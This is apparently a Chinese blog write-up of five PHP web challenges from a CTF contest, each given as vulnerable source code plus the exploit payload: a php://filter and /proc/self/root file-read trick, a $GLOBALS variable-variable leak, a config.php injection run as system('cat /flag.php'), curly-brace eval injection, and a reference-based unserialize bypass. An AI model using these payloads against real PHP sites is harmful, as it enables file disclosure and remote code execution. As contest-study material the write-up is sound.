掌控ctf-2月赛

没事干 随便刷刷题

1伪协议读取系统进程

源码

php 复制代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

php 复制代码
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

php 复制代码
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:

config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

php 复制代码
<?
#GOAL: gather some phpinfo();
function flag(){
    echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

php 复制代码
<?php
#GOAL: get the secret;
class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

exp

php 复制代码
<?php
class just4fun {
    var $enter;
    var $secret;
}


$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);
相关推荐
flower_drop4 小时前
基于 WebUSB 与 CDP:在浏览器端实现 Android 设备通信与无证书抓包实践
android·chrome·测试工具·adb·bug·edge浏览器
撩得Android一次心动6 小时前
Jetpack Compose 知识点整理1【个人用】
android·学习·kotlin·android jetpack·compose
程序员阿明7 小时前
idea把插件啥的不默认放在C盘
java·ide·intellij-idea
ForteScarlet8 小时前
Kotlin 2.4.20 现已发布,新特性多不多?
android·java·开发语言·开源·kotlin·jetbrains
方白羽9 小时前
Android Studio 自动国际化插件:SmartI18n
android·android studio·intellij idea
我是Superman丶10 小时前
Arduino IDE 安装教程:Windows/macOS/Linux 开发环境搭建
ide·windows·macos
码农coding12 小时前
android12 状态栏图标的加载流程
android
LaughingZhu12 小时前
Product Hunt 每日热榜 | 2026-09-08
java·ide·深度学习·百度·intellij-idea
hai_android12 小时前
Kotlin 协程作用域源码剖析
android·kotlin
Yeyu13 小时前
Android 画中画(PiP)小窗播放:怎么做、以及它到底是怎么工作的
android